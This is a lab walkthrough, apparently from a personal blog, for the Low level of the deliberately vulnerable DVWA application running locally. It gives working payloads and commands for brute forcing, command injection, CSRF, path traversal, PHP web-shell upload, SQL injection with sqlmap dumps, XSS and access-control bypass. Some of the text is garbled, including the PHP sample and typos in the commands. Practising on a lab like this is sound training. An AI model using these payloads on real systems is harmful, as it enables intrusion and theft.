Preparation of the environment

It is most convenient to run the DVWA locally via Docker. In the examples, the address http://127.0.0.1:4280 and the default admin/password account are assumed.

git clone https://github.com/digininja/DVWA.git
cd DVWA
docker compose up -d

export DVWA=”http://127.0.0.1:4280″

On Kali Linux, install the basic tools used in the tutorials:

sudo apt update
sudo apt install -y burpsuite curl jq hydra sqlmap wfuzz ffuf netcat-traditional gobuster nobody seclists

Setting the difficulty level in DVWA:

DVWA Security → Low / Medium / High / Impossible

Working with Burp Suite

Launch Burp Suite.
Enter the Browser → Open browser.
Open http://127.0.0.1:4280 and log in to DVWA.
Send any relevant request to the Repeater.
Modify parameters and observe differences in HTTP responses.

Hint: In curl/hydra commands, replace PHPSESSID=TU_INSERT_SESSIONS with the actual session value copied from Burp or browser developer tools.

2. Low / Easy level

At the low level, the goal is to understand vulnerability mechanics without significant application safeguards. At this stage, it is worth performing the tests manually, and only then automating them with Kali tools.

2.1 Brute Force — brute

Enter Vulnerability: Brute Force.
Enter test username=admin and password=test.
Capture the request in Burp and send it to Intruder.
Mark the password parameter as payload position.

123456
admin
password
qwerty
letmein

Launch an attack and compare the response length or search for Welcome to the password protected area.
Alternatively, use Hydra with a small list of laboratory passwords.

cat > /tmp/dvwa-pass.txt << ‘EoF’
123456
admin
password
qwerty
letmein
EOF

hydra -l admin -P /tmp/dvwa-pass.txt 127.0.0.1 -s 4280 http-get-form “/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect:H=Cookie: security=low; PHPSESSID=TU_INSERT_SESSIONS”

2.2 Command Injection — exec

Enter Vulnerability: Command Injection.
Enter the correct address 127.0.0.1 and confirm that the application is pinging.
Use the command separator to attach a safe diagnostic command.

127.0.0.1; id
127.0.0.1; whoami
127.0.0.1; uname -a
127.0.0.1; pwd
127.0.0.1; ls -la

By curl, you can repeat the test as follows:

curl -s -b “security=low; PHPSESSID=here_INSERT_SESSIONS” “$DVWA/vulnerabilities/exec/” –data-urlencode “ip=127.0.0.1; id” -d “Submit=Submit”

2.3 CSRF — csrf

Enter Vulnerability: CSRF.
Change the test password to test123/test123 and intercept the request in Burp.
Note that the password change request can be a regular get containing a new password in the parameter.
Prepare the local HTML file initiating the request in the context of the logged session.

cat > csrf-dvwa-low.html << ‘EoF’
<html>
<body>
<h1>DVWA CSRF low</h1>
<img src=”http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=hacked123&password_conf=hacked123&Change=Change”>
</body>
</html>
EOF

Open the file in the same browser where you are logged in to DVWA.
Confirm the password change and then reset the password password.

2.4 File Inclusion — fi

Enter Vulnerability: File Inclusion.
Click on one of the?page= file1.phplinks.
Change the page parameter to a path that extends beyond the application directory.

http://127.0.0.1:4280/vulnerabilities/fi/?page=../../../../../../etc/passwd

If it works, you will see the contents of/etc/passwd.
Test by curl:

curl -s -b “security=low; PHPSESSID=here_INSERT_SESSIONS” “$DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd”

2.5 File Upload — upload

Create a simple PHP file executing secure diagnostic commands.

cat > lab.php << ‘EoF’
PHP
echo
echo “DVWA upload lab
„;
echo “User: “;
system(“whoami”);
echo
ID:
system(“id”);
echo
?>
EOF

Enter Vulnerability: File Upload and upload lab.php.
Open the normally generated path /hackable/uploads/lab.php.
After the exercise, delete the file from the container.

Docker Compose
docker compose exec web rm -f /var/www/html/hackable/uploads/lab.php

2.6 Insecure captcha — captcha

Enter Vulnerability: Insecure captcha.
Enter the new password and capture the request in Burp.
Send request to Repeater.
Delete or modify the captcha parameters and resend the request.
If the password is changed despite the lack of real captcha validation, the vulnerability is confirmed.

POST /vulnerabilities/captcha/
password_new=test123
password_conf=test123
Change=Change

2.7 SQL Injection — sqli

Enter Vulnerability: SQL Injection.
Type 1 and confirm the normal answer.
Type 1′ and check if the application reveals a SQL error.
Use a classic payload that returns multiple records.

1′ OR ‘1’=’1

Check the number of columns.

1′ ORDER BY 1– –
1′ ORDER BY 2– –
1′ ORDER BY 3– –

If there are two columns, use UNION.

1′ UNION SELECT user,password FROM users– –

Automation sqlmap:

sqlmap -u “$DVWA/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”security=low; PHPSESSID=here_INSERT_SESSIONS” -p id –batch –dbs

sqlmap -u “$DVWA/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”security=low; PHPSESSID=here_INSERT_SESSIONS” -p id -D dwwa -T users –dump –batch

2.8 SQL Injection Blind — sqli_blind

Enter Vulnerability: SQL Injection Blind.
Type 1 and remember the positive answer.
Compare true and false condition.

1′ AND ‘1’=’1
1′ AND ‘1’=’2

Check the length of the base name and the first character.

1′ AND LENGTH(database())=4– –
1′ AND substring(database(),1,1)=’d’– –

Automation sqlmap:

sqlmap -u “$DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit” –cookie=”security=low; PHPSESSID=here_INSERT_SESSIONS” -p id –batch –dbs

sqlmap -u “$DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit” –cookie=”security=low; PHPSESSID=here_INSERT_SESSIONS” -p id -D dvwa -T users –dump –batch

2.9 Weak Session IDs — weak_id

Enter Vulnerability: Weak Session IDs.
Click Generate a few times.
In Burp, go to → HTTP history proxy and check the Set-Cookie headers.
If the values increase sequentially or are predictable, the susceptibility is confirmed.

for i in {1..5}; to
curl -i -s -b “security=low; PHPSESSID=here_INSERT_SESSIONS” “$DVWA/vulnerabilities/weak_id/” | grep -i “Set-Cookie”
done

2.10 XSS Reflected — xss_r

Enter Vulnerability: XSS Reflected.
Enter the diagnostic payload.

If an alert appears, the vulnerability works.
Variant by URL should be encoded with URL-encoding.

http://127.0.0.1:4280/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(1)%3C%2Fscript%3E

2.11 XSS Stored — xss_s

Enter Vulnerability: XSS Stored.
In the Name field, enter the test.
In the Message field, type payload.

Save the entry and refresh the page.
If the alert appears automatically, XSS is persistent/stored.
After the exercise, clear the guestbook with the button in DVWA.

2.12 XSS DOM — xss_d

Enter Vulnerability: XSS DOM.
See default parameter in URL.
Change it to a payload that closes the current HTML context.

English</option></select><script>alert(1)</script>

Encoded URL variant:

?default=English%3C/option%3E%3C/select%3E%3Cscript%3Ealert(1)%3C/script%3E

2.13 CSP Bypass — csp

Enter Vulnerability: CSP Bypass.
In Burp, check the Content-Security-Policy heading.
At the low level, investigate what scripting sources are allowed by the CSP.
In the URL field, enter a script from a CSP-approved domain.
Confirm execution via alert or console entry.

2.14 JavaScript

Enter Vulnerability: JavaScript.
Open DevTools → Sources.
Find the token generation function on the client side.
In low, logic boils down to customer-side operations, e.g. ROT13 and MD5.

md5(rot13(document.getElementById(“phrase”).value))
document.getElementById(“token”).value = md5(rot13(document.getElementById(“phrase”).value))

Send a form with a correctly set token.

2.15 Open HTTP Redirect — open_redirect

Enter Vulnerability: Open HTTP Redirect.
Click Quote 1 and capture the request.
Find the redirect parameter.
Change the redirect destination to an external test address.

http://127.0.0.1:4280/vulnerabilities/open_redirect/source/low.php?redirect=https://example.com

If the browser is redirected outside of DVWA, the vulnerability is confirmed.

2.16 API Security — api

Enter Vulnerability: API Security.
Open DevTools → Network and refresh the page.
Find the API request retrieving the users and copy it as a curl.
Check user endpoints.

curl -s “$DVWA/vulnerabilities/api/v2/user/” | jq
curl -s “$DVWA/vulnerabilities/api/v1/user/” | jq

Low’s goal is to find a version or answer that reveals additional information, such as password hashes.

2.17 Authorisation Bypass — authbypass

Log out of the admin and log in as a test user, e.g. gordonb / abc123.
Go to /vulnerabilities/authbypass/.
Open DevTools → Network and see get_user_data.php and change_user_details.php calls.
Try downloading the data directly.

curl -s -b “security=low; PHPSESSID=here_INSERT_SESSIONS” “$DVWA/vulnerabilities/authbypass/get_user_data.php” | jq

Try to change another user’s data by POSTING JSON.

curl -s -X POST -b “security=low; PHPSESSID=TU_INSERT_SESSIONS” -H “Content-Type: application/json” -d ‘{“id”:1,”first_name”:”lab”,”surname”:”AdminChanged”}’ “$DVWA/vulnerabilities/authbypass/change_user_details.php” | jq

If the backend accepts the change without proper role authorization, the vulnerability is confirmed.

2.18 Broken Access Control — Bac

Enter Vulnerability: Broken Access Control.
Check URL and parameters, e.g. action=view&user_id=1.
Change user_id to 2, 3, etc.
In Burp, also modify the user_id and user_role cookies.

curl -s -b “security=low; PHPSESSID=here_INSERT_SESSIONS; user_id=2; user_role=admin” “$DVWA/vulnerabilities/bac/?action=view&user_id=2”

If you see another user’s profile, the vulnerability is confirmed.

2.19 Cryptography — cryptography

Enter Vulnerability: Cryptography.
Copy the captured Base64 message to Low.

Lg4WGlQZChhSFBYSEB8bBQtPGxdNQSwEHREOAQY=

Use the Encode or Decode field on the page to test known texts.
Examine Base64/XOR with a simple Python script.

python3 – << ‘PY’
import base64
c = “Lg4WGlQZChhSFBYSEB8bBQtPGxdNQSwEHREOAQY=”
raw = base64.b64decode(c)
print(raw)
print(raw.hex())
PY Conclusion: own cryptography and Base64 itself do not ensure confidentiality.

www.karolszczepanowski.pl

DVWA Writeup – Easy/Low Level

Preparation of the environment

Working with Burp Suite

2. Low / Easy level

2.1 Brute Force — brute

2.2 Command Injection — exec

2.3 CSRF — csrf

2.4 File Inclusion — fi

2.5 File Upload — upload

2.6 Insecure captcha — captcha

2.7 SQL Injection — sqli

2.8 SQL Injection Blind — sqli_blind

2.9 Weak Session IDs — weak_id

2.10 XSS Reflected — xss_r

2.11 XSS Stored — xss_s

2.12 XSS DOM — xss_d

2.13 CSP Bypass — csp

2.14 JavaScript

2.15 Open HTTP Redirect — open_redirect

2.16 API Security — api

2.17 Authorisation Bypass — authbypass

2.18 Broken Access Control — Bac

2.19 Cryptography — cryptography